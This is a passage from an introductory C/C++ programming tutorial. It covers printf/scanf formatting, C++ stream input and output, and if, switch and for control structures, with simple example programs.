printf(" Printing integers right-justified.\n");
printf("Compare the output with the source code\n");
printf("---------------------------------------\n\n");
printf("%4d\n", 1);
printf("%4d\n", 12);
printf("%4d\n", 123);
printf("%4d\n", 1234);
printf("%4d\n\n", 12345);
printf("%4d\n", -1);
printf("%4d\n", -12);
printf("%4d\n", -123);
printf("%4d\n", -1234);
printf("%4d\n", -12345);
system("pause");
return 0;
}

Output:

- Another example:

//Using precision while printing integers,


//floating-point numbers and strings
#include <stdio.h>
#include <stdlib.h>

int main()
{
int i = 873;
float f = 123.94536;
char s[] = "Happy Birthday";

printf("Using precision while printing integers,\n");


printf(" floating-point numbers, and strings.\n");
printf("Compare the output with the source code\n");
printf("----------------------------------------\n\n");
printf("Using precision for integers\n");
printf("\t%.4d\n\t%.9d\n\n", i, i);
printf("Using precision for floating-point numbers\n");
printf("\t%.3f\n\t%.3e\n\t%.3g\n\n", f, f, f);
printf("Using precision for strings\n");
printf("\t%.11s\n", s);
system("pause");
return 0;

Output:

www.tenouk.com Page 6 of 20
- By using asterisk (*), it is also can be like this:

printf("%*.*f", 7, 2, 98.736)

- This statement uses 7 for the field width, 2 for the precision and will output the value 98.74 right-
justified.

1.3 Using Flags In The printf() Format Control String

- Flags used to supplement its output formatting capabilities.


- Five flags are available to be used in format control string as shown in table 5.4 then followed by
program examples.

Flag Description
- (minus sign) Left-justify the output within the specified field
Display a plus sign preceding positive values and a minus sign preceding
+ (plus sign)
negative values.
space Print a space before a positive value not printed with the + flag.
Prefix 0 to the output value when used with the octal conversion specifier o.
Prefix 0x or 0X to the output value when used with the hexadecimal
conversion specifiers x or X. Force a decimal points for a floating-point
#
number printed with e, E, f, g, or G that does not contain a fractional part.
(Normally the decimal point is only printed if a digit follows it). For g and G
specifiers, trailing zeros are not eliminated.
0 (zero) Pad a field with leading zeros.

Table 5.4: Format control string flags

//Right justifying and left justifying values


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Right justifying and left justifying values.\n");
printf(" Compare the output with the source code.\n");
printf("--------------------------------------------\n\n");
printf("%10s%10d%10c%10f\n\n", "hello", 7, 'a', 1.23);
printf("%-10s%-10d%-10c%-10f\n", "hello", 7, 'a', 1.23);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 7 of 20
- Program example:

//Printing numbers with and without the + flag


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing numbers with and without the + flag.\n");
printf(" Compare the output with the source code\n");
printf("---------------------------------------------\n\n");
printf("%d\n%d\n", 786, -786);
printf("%+d\n%+d\n", 786, -786);
system("pause");
return 0;
}

Output:

- Another example:

//Printing a space before signed values


//not preceded by + or -
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing a space before signed values\n");
printf(" not preceded by + or -n\n");
printf("--------------------------------------\n\n");
printf("% d\n% d\n", 877, -877);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 8 of 20
- Program example:

//o, x, X, and any floating-point specifier


#include <stdio.h >
#include <stdlib.h>

int main()
{
int c = 1427;
float p = 1427.0;

printf("o, x, X, and any floating-point specifiers\n");


printf("Compare the output with the source code\n");
printf("-----------------------------------------\n\n");
printf("%#o\n", c);
printf("%#x\n", c);
printf("%#X\n", c);
printf("\n%#g\n", p);
printf("%#G\n", p);
system("pause");
return 0;
}

Output:

- Program example.

//Printing with the 0 (zero) flag fills in leading zeros


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing with the 0 (zero) flag fills in leading zeros\n");
printf(" Compare the output with the source code\n");
printf("-------------------------------------------------------\n\n");
printf("%+09d\n", 762);
printf("%09d", 762);
printf("\n");
system("pause");
return 0;
}

Output:

www.tenouk.com Page 9 of 20
1.4 Printing Literals And Escape Sequences

- Various control characters, such as newline and tab, must be represented by escape sequences.
- An escape sequence is represented by a backslash (\) followed by a particular escape character.
- Table 5.5 summarizes all the escape sequences and the actions they cause.

Escape sequence Description


\’ Output the single quote (’) character.
\" Output the double quote (") character.
\? Output the question mark (?) character.
\\ Output the backslash (\) character.
\a Cause an audible (bell) or visual alert.
\b Move the cursor back one position on the current line.
\f Move the cursor to the start of the next logical page.
\n Move the cursor to the beginning of the next line.
\r Move the cursor to the beginning of the current line.
\t Move the cursor to the next horizontal tab position.
\v Move the cursor to the next vertical tab position.

Table 5.5: Escape sequences

- Other printf() family that you might find somewhere, sometime is listed in the following Table. It
is important to note that some of these are not part of the standard library but are widely available. You
have to check your compiler.

Function Description & Prototype


printf() Prints output on the standard output stream stdout. Include stdio.h.
int printf(const char *restrict format, ...);
fprintf() Prints output on the named output stream. Include stdio.h.
int fprintf(FILE *restrict stream, const char *restrict format, ...);
Prints output followed by the null byte, '\0', in consecutive bytes starting at *s; it
sprintf() is the user's responsibility to ensure that enough space is available. Include
stdio.h.
int sprintf(char *restrict s, const char *restrict format, ...);
Prints into a string with length checking. Equivalent to sprintf(), with the
addition of the n argument which states the size of the buffer referred to by s. If n
is zero, nothing shall be written and s may be a null pointer. Otherwise, output bytes
snprintf()
beyond the n-1st shall be discarded instead of being written to the array, and a null
byte is written at the end of the bytes actually written into the array. Include
stdio.h.
int snprintf(char *restrict s, size_t n, const char *restrict format, ...);
Print to a FILE stream from a va_arg structure. Equivalent to printf(), except
vfprintf() that instead of being called with a variable number of arguments, they are called with
an argument list as defined by stdarg.h. Include stdarg.h and stdio.h.
int vfprintf(FILE *restrict stream, const char *restrict format, va_list ap);
Prints to ‘stdout’ from a va_arg structure. Equivalent to fprintf()
respectively, except that instead of being called with a variable number of
vprintf()
arguments, they are called with an argument list as defined by stdarg.h. Include
stdarg.h and stdio.h.

www.tenouk.com Page 10 of 20
int vprintf(const char *restrict format, va_list ap);
Prints to a string from a va_arg structure. Equivalent to sprintf() respectively,
except that instead of being called with a variable number of arguments, they are
vsprintf()
called with an argument list as defined by stdarg.h. Include stdarg.h and
stdio.h.
int vsprintf(char *restrict s, const char *restrict format, va_list ap);
Prints to a string with length checking from a va_arg structure. Equivalent to
snprintf(), except that instead of being called with a variable number of
vsnprintf()
arguments, they are called with an argument list as defined by stdarg.h. Include
stdarg.h and stdio.h.
int vsnprintf(char *restrict s, size_t n, const char *restrict format, va_list ap);

Table 5.6: printf() family

5.11 Formatting Input With scanf()

- Used for precise input formatting.


- Every scanf() function contains a format control string that describes the format of the data to be
input.
- The format control string consists of conversion specifications and literal characters.
- Function scanf() has the following input formatting capabilities

1. Inputting all types of data.


2. Inputting specific characters from an input stream.
3. Skipping specific characters in the input stream.

- It is written in the following form:

scanf (format-control-string, other-arguments);

- For example:

scanf("%e%f%g", &a, &b, &c);

- The format-control-string describes the formats of the input, and the other-arguments are pointers to
variables in which the input will be stored.
- Table 5.7 summarizes the conversion specifiers used to input all types of data.

Conversion specifier Description


Integers
Read an optionally signed decimal integer. The corresponding argument
d
is a pointer to integer.
Read an optionally signed decimal, octal, or hexadecimal integer. The
i
corresponding argument is a pointer to integer.
Read an octal integer. The corresponding argument is a pointer to
o
unsigned integer.
Read an unsigned decimal integer. The corresponding argument is a
u
pointer to unsigned integer.
Read a hexadecimal integer. The corresponding argument is a pointer to
x or X
unsigned integer.
Place before any of the integer conversion specifiers to indicate that a
h or l
short or long integer is to be input.
Floating-point numbers
Read a floating-point value. The corresponding argument is a pointer to
e, E, f, g or G
a floating-point variable
Place before any of the floating-point conversion specifiers to indicate
l or L
that a double or long double value is to be input.
Characters and strings
Read a character. The corresponding argument is a pointer to char, no
c
null (‘\0’) is added.
Read a string. The corresponding argument is a pointer to an array of
s type char that is large enough to hold the string and a terminating null
(‘\0’) character.

www.tenouk.com Page 11 of 20
Scan set [scan characters] Scan a string for a set of characters that are stored in an array.
Miscellaneous
Read a pointer address of the same form produced when an address is
p
output with %p in a printf() statement.
Store the number of characters input so far in this scanf(). The
n
corresponding argument is a pointer to integer.
% Skip a percent sign (%) in the input.

Table 5.7: Conversion specifiers for scanf()

- Let explore through program examples:

//Reading integers
#include <stdio.h>
#include <stdlib.h>

int main()
{
int a, b, c, d, e, f, g;

printf("Reading integers from standard input\n");


printf("------------------------------------\n\n");
printf("Enter seven integers separated by space: ");
scanf("%d%i%i%i%o%u%x", &a, &b, &c, &d, &e, &f, &g);
printf("The input displayed as decimal integers is: \n");
printf("%d %d %d %d %d %d %d\n", a, b, c, d, e, f, g);
system("pause");
return 0;
}

Output:

- Program example:

//Reading floating-point numbers


#include <stdio.h>
#include <stdlib.h>

int main()
{
float a, b, c;

printf(" Reading floating-point numbers\n");


printf("Compare the output with the source code.\n");
printf("----------------------------------------\n\n");
printf("Enter three floating-point numbers, separated by space: \n");
scanf("%e%f%g", &a, &b, &c);
printf("Here are the numbers entered in plain\n");
printf("floating-point notation:\n");
printf("%f %f %f\n", a, b, c);
system("pause");
return 0;
}

Output:

www.tenouk.com Page 12 of 20
- Program example:

//Reading characters and strings


#include <stdio.h>
#include <stdlib.h>

int main()
{
char x, y[20];

printf("Enter a string: ");


scanf("%c%s", &x, y);
printf("The input was: \n");
printf("the character \"%c\" ", x);
printf("and the string \"%s\"\n", y);
system("pause");
return 0;
}

Output:

- Program example:

//input data with a field width


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x, y;

printf("Enter a six digit integer: ");


scanf("%2d%d", &x, &y);
printf("The integers input were %d and %d\n", x, y);
system("pause");
return 0;
}

Output:

- Program example:
//Reading and discarding characters from the input stream

www.tenouk.com Page 13 of 20
#include <stdio.h>
#include <stdlib.h>

int main()
{
int month1, day1, year1, month2, day2, year2;

printf("Enter a date in the form mm-dd-yy: ");


//pad 0 for two fields and discarding the - characters....
scanf("%d%*c%d%*c%d", &month1, &day1, &year1);
printf("month = %02d day = %02d year = %02d\n\n", month1, day1,
year1);
printf("Enter a date in the form mm/dd/yy: ");
//pad 0 for two fields and discarding the / characters...
scanf("%d%*c%d%*c%d", &month2, &day2, &year2);
printf("month = %02d day = %02d year = %02d\n", month2, day2,
year2);
system("pause");
return 0;
}

Output:

- Other scanf() family that you might find is listed in the following Table. It is important to note that
some of these are not part of the standard library but are widely available. You have to check your
compiler.

Function Description & Prototype


scanf() Read from the standard input stream stdin. Include the stdio.h.
int scanf(const char *restrict format, ... );
fscanf() Read from the named input stream. Include the stdio.h.
int fscanf(FILE *restrict stream, const char *restrict format, ... );
sscanf() Read from the string s. Include the stdio.h.
int sscanf(const char *restrict s, const char *restrict format, ... );
Equivalent to the scanf() function except that instead of being called
vscanf() with a variable number of arguments, they are called with an argument list
as defined in the stdarg.h. Include the stdarg.h and stdio.h.
int vscanf(const char *restrict format, va_list arg);
Equivalent to the sscanf() functions except that instead of being called
vsscanf() with a variable number of arguments, they are called with an argument list
as defined in the stdarg.h. Include the stdarg.h and stdio.h.
int vsscanf(const char *restrict s, const char *restrict format, va_list arg);
Equivalent to the fscanf() function except that instead of being called
vfscanf() with a variable number of arguments, they are called with an argument list
as defined in the stdarg.h. Include the stdarg.h and stdio.h.
int vfscanf(FILE *restrict stream, const char *restrict format, va_list arg);

Table 5.8: scanf() family

- Be careful when using the printf() and scanf() families because improper use can generate
buffer overflow problems. The buffer overflows phenomenon widely exploited by malicious, worm
and virus codes. See everyday security updates and the Proof Of Concept (POC) at frsirt regarding the
buffer overflow.

5.12 An Introduction To C++ Input/Output Streams

www.tenouk.com Page 14 of 20
- C++ provides an alternative to printf() and scanf() function calls for handling input/output of
the standard data types and strings. For example:

printf("Enter new tag: ");


scanf("%d", &tag);
printf("The new tag is: %d\n", tag);

- Is written in C++ as:

cout<<"Enter new tag: ";


cin>>tag;
cout<<"The new tag is: "<<tag<<’\n’;

- The first statement uses the standard output stream cout and the operator << (the stream insertion
operator, synonym to “put to”). The statement is read:

The string “Enter new tag” is put to the output stream cout.

- The second statement uses the standard input stream cin and the operator >> (the stream extraction
operator, synonym to “get from”). This statement is read something like:

Get a value for tag from the input stream cin.

- The stream insertion and extraction operators, unlike printf() and scanf(), do not require format
strings and conversion specifiers to indicate the data types being output or input.
- The operator & also not required as in scanf(). Mostly done automatically and you have to know
how to use left shift, << and right shift, >> operators together with spaces and new line to do the
formatting. As a conclusion, cout and cin are simpler and easier to use.
- You have to include the iostream.h header file to use these stream input/outputs.
- iostream library provide hundreds of I/O capabilities. The iostream.h contains cin, cout,
cerr (unbuffered standard error device) and clog (buffered standard error device) objects for
standard input stream, standard output stream and standard error stream respectively.
- Let try a simple program example.

//concatenating the << operator


#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"47 plus 54 is "<<(47 + 54)<<endl;
cout<<"Welcome to C++ stream\n";
system("pause");
return 0;
}

Output:

//printing the address stored in a char * variable


#include <iostream.h>
#include <stdlib.h>

int main()
{
char * string = "pointer testing";

cout<<"\nThe string is: "<<string


<<"\nValue of (void *) string, the address is: "
<<(void *)string <<endl;
system("pause");
return 0;

www.tenouk.com Page 15 of 20
}

Output:

//stream extraction operator


//input from keyboard with cin
#include <iostream.h>
#include <stdlib.h>

int main()
{
int x, y;

cout<<"Enter two integers: ";


cin>>x>>y;
cout<<"Sum of "<<x<<" and "<<y<<" is "<<(x + y)<<endl;
system("pause");
return 0;
}

Output:

//stream extraction operator


//variation of cin
#include <iostream.h>
#include <stdlib.h>

int main()
{
int x, y;

cout<<"Enter two integers: ";


cin>>x>>y;
cout<<x<<(x == y?" is " : " is not ")<<"equal to "<<y<<endl;
system("pause");
return 0;
}

Output:

//stream extraction operator


//variation of cin
#include <iostream.h>
#include <stdlib.h>

int main()
{
int mark, HighMark = -1;

cout<<"Enter grade(eof -Ctrl+Z- to stop): ";

www.tenouk.com Page 16 of 20
while(cin>>mark)
{
if(mark>HighMark)
HighMark = mark;
cout<<"Enter grade(eof -Ctrl+Z- to stop): ";
}
cout<<"\nHighest grade is: "<<HighMark<<endl;
system("pause");
return 0;
}

Output:

//Simple stream input/output


#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"Enter your age: ";

int myAge;
cin>>myAge;
cout<<"Enter your friend's age: ";

int friendAge;
cin>>friendAge;

if(myAge > friendAge)


cout<<"You are older.\n";
else
if(myAge < friendAge)
cout<<"You are younger.\n";
else
cout<<"You and your friend are the same age.\n";
system("pause");
return 0;
}

Output:

- Usage of the '\n', endl with cout example.

//Some of the cout usage


#include <stdlib.h>
#include <iostream.h>

void main(void)
{
int q, s = 0, t = 0;

q = 10*(s + t);

www.tenouk.com Page 17 of 20
cout<<"Enter 2 integer numbers,"
" separated by space: ";
//using the " for breaking literal strings
cin>>s>>t;
q = 10*(s + t);
cout<<"simple mathematics calculation, just for demo"<<'\n';
//using '\n' for newline
cout<<"q = 10(s + t) = "<<q<<endl;
//using endl for new line
cout<<"That all folks!!"<<"\n";
cout<<"Study the source code and the output\n";
system("pause");
}

Output:

- cout and cin example for function call and array.

//cout and cin example for function call and array


#include <stdlib.h>
#include <iostream.h>

float simple_calc(float);

void main(void)
{
float x = 3, y[4], sum=0;
int i;

cout<<"Square of 3 is: "<<simple_calc(x)<<'\n';


//cout with function call

cout<<"Study the source code and the output"<<endl;


for (i=1; i<5; i++)
{
cout<<"Enter arrays' data #"<<i<<" : ";
cin>>y[i];
sum = sum + y[i];
//array
}
cout<<"Sum of the arrays' data is: "<<sum<<endl;
cout<<"Press Enter key to quit\n";
system("pause");
}

float simple_calc(float x)
{
float p;
p = (x * x);
return p;
}

Output:

www.tenouk.com Page 18 of 20
- Other I/O header files include:

Header file Description


Used for performing formatted IO with so-called parameterized
iomanip.h
stream manipulators.
Used for performing in-memory formatting. This resembles file
strstream.h processing IO operation, normally performed to and from character
arrays rather than files.
Used for programs those mix the C and C++ style of IO. This can be
stdiostream.h
used for modifying existing C program or migrating C to C++.

Table 5.9: Other header files used for C++ formatted I/O

- The following program example compiled using VC++/VC++ .Net.

//Printing floating-point numbers with


//floating-point conversion specifiers
#include <cstdio>

void main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
}

Output:

- Then, program example compiled using gcc on FeDora 3.

[bodo@bakawali ~]$ cat module5.c


/*Using the p, n, and % conversion specifiers*/
/*****************module5.c*******************/
#include <stdio.h>
#include <stdlib.h>

www.tenouk.com Page 19 of 20
int main()
{
int *ptr;
/*pointer variable*/
int x = 12345, y;

ptr = &x;

/*assigning address of variable x to variable ptr*/


printf("\nUsing the p, n, and %% conversion specifiers.\n");
printf("Compare the output with the source code\n");
printf("-----------------------------------------------\n\n");
printf("The value of pointer ptr is %p\n", ptr);
printf("The address of variable x is %p\n\n", &x);
printf("Total characters printed on this line is:%n", &y);
printf(" %d\n\n", y);

y = printf("This line has 28 characters\n");

printf("%d characters were printed\n\n", y);


printf("Printing a %% in a format control string\n");
return 0;
}

[bodo@bakawali ~]$ gcc module5.c -o module5


[bodo@bakawali ~]$ ./module5

Using the p, n, and % conversion specifiers.


Compare the output with the source code
-----------------------------------------------

The value of pointer ptr is 0xbff73840


The address of variable x is 0xbff73840

Total characters printed on this line is: 41

This line has 28 characters


28 characters were printed

Printing a % in a format control string


[bodo@bakawali ~]$

- Quite a complete discussion for other C++ formatted I/O will be discussed in Module 18.

---------------------------------------------------------o0o ----------------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.


2. The formatted I/O for wide character/Unicode is discussed HERE and the example of the implementation
(Microsoft C) is presented HERE.

www.tenouk.com Page 20 of 20
MODULE 6
PROGRAM CONTROLS

My Training Period: hours

Abilities:

Able to understand and use:

▪ The basic of the flow chart used to describe C/C++ program control.
▪ if, if–else, if-else-if and their variation.
▪ The switch-case-break statement.
▪ The for statement.
▪ The while statement.
▪ The do...while loop.
▪ The nested loop.
▪ Other program controls such as goto, continue, exit, atexit and return statement.

6.1 Basic Flowchart

- A flowchart is a graphical representation of an algorithm or a portion of an algorithm.


- It is drawn using certain special-purpose symbols such as rectangles, diamonds, ovals, and small
circles.
- These symbols are connected by arrows called flowlines.
- Flowcharts can clearly show how control structures operate.
- The partial list some of the symbols used in this Module is shown in Table 6.1. We will use flow
charts to assist our study of the program controls.

6.2 Program Execution

- Program begins execution at the main() function.


- Statements within the main() function are then executed from top to down style.
- The first statement, then the second and so forth, until the end of the main() function is reached.
- However, this order is rarely encountered in real C/C++ program.
- The order of the execution of the statements within the main() body may be redirected, not in
sequence anymore.
- This concept of changing the order in which statements are executed is called program control and is
accomplished by using program control statements. This is how we can control the program flows.

6.3 Program Control Types

www.tenouk.com Page 1 of 33
- There are three types of program controls:

0. Sequence control structure.


0. Selection structures such as if, if-else, nested if, if-if else, if–else if and
switch...case...break.
0. Repetition such as for, while and do...while.

6.3.1 Sequence Control Structure

- Let take a look at the following example, a very simple of C program:

#include <stdio.h>

int main()
{
float rate = 5.0;
int hours = 25;

float pay = (float) hours * rate;


printf("\nPay = $%.2f \n", pay);
return 0;
}

Output:

rate = 5.0 ------------------------S1


hours = 25 ------------------------S2
pay = (float) hours * rate --------S3
printf("\n Pay = $%.2f ", pay); ---S4

- There is one entry point and one exit point, graphically is depicted below.

- The flow just one way, starting from the Entry and end at Exit. In C/C++ programs theoretically, a
control structure like this means sequence execution (line by line), no code is skipped or program
branching.

6.3.2 Selection Control Structure

- This is non-sequential type program control using the C/C++ instructions such as if, if-else,
nested if-else, if-if else and if-else if.
- General form of the simplest if statement:

- Explanation:

1. (expression) is evaluated.
2. If TRUE (non-zero) the statement is executed.

www.tenouk.com Page 2 of 33
3. If FALSE (zero) the next_statement following the if statement block is executed.
4. So, during the execution based on some condition, some codes not executed (skipped).

- For example:

if (hours > 70)


hours = hours + (hours - 70);
printf("...");

- Here, if hours is less than or equal to 70, its value will remain unchanged and the printf() will be
executed. If it exceeds 70, its value will be increased by (hour-70).
- Example:

if(job_code == '1')
{
car_allowance = 200.00;
housing_allowance = 800.00;
entertainment_allowance = 500.00;
}
printf("...");

- The three statements enclosed in the curly braces {} will only be executed if job_code is equal to
'1 ',else the printf() will be executed.
- The if-else construct has the following form:

- Explanation:

1. The (expression) is evaluated.


2. If it evaluates to non-zero (TRUE), statement_1 is executed, otherwise, if it evaluates to
zero (FALSE), statement_2 is executed.
3. They are mutually exclusive, meaning, either statement_1 is executed or statement_2,
but not both.
4. The statements_ 1 and statements_ 2 can take the form of block and must be put in
curly braces.

- if-else code segment example:

if(job_code == '1')
rate = 7.00;
else
rate = 10.00;
printf("...");

- If the job_code is equal to '1', the rate is 7.00 else, if the job_code is not equal to '1' the rate is
10.00.
- Program example: Selection between integer 1 or other than 1.

#include <iostream.h>
#include <stdlib.h>

int main()
{
int job_code;
double housing_allowance, entertainment_allowance, car_allowance;

cout<<"Available job codes: 1 or non 1:\n"<<endl;


cout<<"Enter job code: ";
cin>>job_code;

www.tenouk.com Page 3 of 33
//if 1 is selected
if(job_code==1)
{
car_allowance = 200.00;
housing_allowance = 800.00;
entertainment_allowance = 250.00;

cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
//other than 1
else
{
car_allowance = 100.00;
housing_allowance = 400.00;
entertainment_allowance = 150.00;

cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
system("pause");
return 0;
}

Output:

- The if-else constructs can be nested (placed one within another) to any depth. If nested, they
generally take the forms: if-if else and if-else if.
- The if-if else constructs has the form:

- In this nested form, expression_1 is evaluated. If it is zero (FALSE-F), statement_4 is


executed and the entire nested if statement is terminated; if not (TRUE-T), control goes to the second
if (within the first if) and expression_2 is evaluated. If it is zero, statement_3 is executed;
if not, control goes to the third if (within the second if) and expression_3 is evaluated. If it is

www.tenouk.com Page 4 of 33
zero, statement_2 is executed; if not, statement_1 is executed. The statement_1 (inner
most) will only be executed if all the if statement is true.
- Quite tricky huh? Just follow the dashed arrow, T for TRUE and F for FALSE.
- Again, only one of the statements is executed other will be skipped.
- If the else is used together with if, always match an else with the nearest if before the else.
- More complex program example:

#include <iostream.h>
#include <stdlib.h>

int main()
{

char job_title;
int years_served, no_of_pub;

cout<<"Enter data \n";


cout<<"Current job (Tutor-T, lecturer-L, Assoc prof-A): ";
cin>>job_title;
cout<<"Years served: ";
cin>>years_served;
cout<<"No of publication: ";
cin>>no_of_pub;

if(job_title == 'T')
{
if(years_served > 15)
if(no_of_pub > 10)
cout<<"\nPromote to lecturer";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'L')
{
if(years_served > 10)
if(no_of_pub > 5)
cout<<"\nPromote to Assoc professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'A')
{
if(years_served > 5)
if(no_of_pub > 5)
cout<<"\nPromote to professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}

cout<<"\n";
system("pause");
return 0;
}

- The if-else if statement has the following form:

www.tenouk.com Page 5 of 33
- expression_1 is first evaluated. If it is not zero (TRUE), statement_1 is executed and the
whole statement terminated and the next_statement is executed. On the other hand, if
expression_1 is zero, control passes to the else if part and expression_2 is evaluated.
- If it is not zero, statement_2 is executed and the whole system is terminated. If it is zero, other
else if parts (if any) are tested in a similar way.
- Finally, if expression_n is not zero, statement_n is executed; if not, last_statement is
executed. Note that only one of the statements will be executed other will be skipped.
- The statements_n could also be a block statement and must be put in curly braces.
- Program example:

#include <iostream.h>
#include <stdlib.h>

int main()
{
int mark;

cout<<"Enter student's mark: ";


cin>>mark;

if (mark < 40)


cout<<"Student grade = F";
else if (mark < 50)
cout<<"Student grade = E";
else if (mark < 60)
cout<<"Student grade = D";
else if (mark < 70)
cout<<"Student grade = C";
else if (mark < 80)
cout<<"Student grade = B";
else
cout<<"Student grade = A";
cout<<"\n";
system("pause");
return 0;
}

Output:

- If mark is less than 40 then grade ‘F’ will be displayed; if it is greater than or equal to 40 but less than
50, then grade ‘E’ is displayed. The test continues for grades ‘D’, ‘C’, and ‘B’.
- Finally, if mark is greater than or equal to 80, then grade ‘A’ is displayed.
- Let see another if–else statement program example, study the program and the output.

//Program example of if-else statement. This program


//is to test whether a banking transaction is a deposit,
//withdrawal, transfer or an invalid transaction,
//and to take the necessary action.

#include <iostream.h>

www.tenouk.com Page 6 of 33
#include <stdlib.h>

int main()
{
float amount;
char transaction_code;

cout<<"D - Cash Deposit, W - Cash Withdrawal, T - Cash Transfer\n";


cout<<"\nEnter the transaction code(D, W, T); ";

cin>>transaction_code;
if (transaction_code == 'D')
{
cout<<"\nDeposit transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount deposited: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'W')
{
cout<<"\nWithdrawal transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount withdrawn: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'T')
{
cout<<"\nTransfer transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount transferred: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else {
cout<<"\nInvalid transaction!!";
cout<<"D = Deposit, W = Withdrawal, T = Transfer";
cout<<"\nPlease enters the correct transaction code: ";
}
cout<<"\n";
system("pause");
return 0;
}

Output:

- Rerun the program; try input other than D, W and T. See the output difference.

6.3.3 Selection-The switch-case-break Statement

- The most flexible program control statement in selection structure of program control.
- Enables the program to execute different statements based on an expression that can have more than
two values. Also called multiple choice statements.

www.tenouk.com Page 7 of 33
- Before this, such as if statement, were limited to evaluating an expression that could have only two
values: TRUE or FALSE.
- If more than two values, have to use nested if statements.
- The switch statement makes such nesting unnecessary.
- Used together with case and break.
- The switch constructs has the following form:

switch(expression)
{
case template_1 : statement(s);
break;
case template_2 : statement(s);
break;
...
...
case template_n : statement(s);
break;
default : statement(s);
}
next_statement;

- Evaluates the (expression) and compares its value with the templates following each case label.

1. If a match is found between (expression) and one of the templates, execution is


transferred to the statement(s) that follows the case label.
2. If no match is found, execution is transferred to the statement(s) following the optional
default label.
3. If no match is found and there is no default label, execution passes to the first statement
following the switch statement closing brace, the next_statement.
4. To ensure that only the statements associated with the matching template are executed, include
a break statement where needed, which terminates the entire switch statement.
5. As usual the statement(s) can also be a block of code put in curly braces.

- Program example:

//Sample program, Menu selection


#include <iostream.h>
#include <stdlib.h>

int main()
{
char selection;
cout<<"\n Menu";
cout<<"\n========";

cout<<"\n A - Append";
cout<<"\n M - Modify";
cout<<"\n D - Delete";
cout<<"\n X - Exit";
cout<<"\n Enter selection: ";
cin>>selection;
switch(selection)
{
case 'A' : {cout<<"\n To append a record\n";}
break;
case 'M' : {cout<<"\n To modify a record";}
break;
case 'D' : {cout<<"\n To delete a record";}
break;
case 'X' : {cout<<"\n To exit the menu";}
break;
//Other than A, M, D and X...
default : cout<<"\n Invalid selection";
//No break in the default case
}
cout<<"\n";
system("pause");
return 0;
}

Output:

www.tenouk.com Page 8 of 33
- The statement sequence for case may also be NULL or empty. For example:

switch(selection)
{
case 'A' :
case 'M' :
case 'D' : cout<<"\n To Update a file";
break;
case 'X' : cout<<"\n To exit the menu";
break;
default : cout<<"\n Invalid selection";
}
next_statement;

- The above program portion would display "To update a file" if the value entered at the prompt
is A, M or D; "To exit menu" if the value is X; and "Invalid selection" if the value is some
other character.
- It is useful for multiple cases that need the same processing sequence.
- The break statement may be omitted to allow the execution to continue to other cases.
- Consider the following program segment:

cin>>choice;
switch(choice)
{
case 1 : cout<<"\n Value of choice = 1";
break;
case 2 : cout<<"\n Value of choice = 2";
case 3 : cout<<"\n Value of choice = 3";
break;
default : cout<<"\n Wrong choice";
}
printf("...");

- It will display the message "Value of choice = 1" if choice has the value 1. It will display both
the messages "Value of choice = 2" and "Value of choice = 3" if choice has the value
2.
- It will display the message "Value of choice = 3" if choice has the value 3 and the message
"Wrong choice" if it has any other value.
- The switch structure can also be nested.
- The different between nested if and switch.

1. The switch permits the execution of more than one alternative (by not placing break
statements) whereas the if statement does not. In other words, alternatives in an if
statement are mutually exclusive whereas they may or may not be in the case of a switch.
2. A switch can only perform equality tests involving integer (or character) constants, whereas
the if statement allows more general comparison involving other data types as well.

- When there are more than 3 or 4 conditions, use the switch-case-break statement rather than a
long nested if statement and when there are several option to choose from and when testing for them
involves only integer (or character) constants.

www.tenouk.com Page 9 of 33
- The following are the flow charts for selection structure program control.

6.3.4 The for Statement – Repetition Control Structure, Iteration

- Is a C/C++ programming construct that executes a code block, a certain number of times.
- The block may contain no statement, one statement or more than one statement.
- The for statement causes a for loop to be executed a fixed number of times.
- The following is the for statement structure:

- initial_value1, condition and increment are all C/C++ expressions.


- The subsequent statement(s) may be a single or compound C/C++ statement (a block of code).
- When a for statement is encountered during program execution, the following events occurs:

1. The expression initial_value1 is evaluated, usually an assignment statement that sets a


variable to a particular value.

www.tenouk.com Page 10 of 33
2. The expression condition is evaluated. It is typically a relational expression.
3. If condition evaluates as false (zero), the for statement terminates and execution passes to
the first statement following the for statement that is the next_statement.
4. If condition evaluates as true (non zero), the subsequent C/C++ statements are executed.
5. The expression increment is executed, and execution returns to step no. 2.

- Schematically, the for statement operation is shown in the following flow chart.

- The following is for statement program example followed by a flowchart:

//A simple for statement


#include <stdio.h>
#include <stdlib.h>

void main()
{
int count;

//display the numbers 1 through 10


for(count = 1; count <= 10; count++)
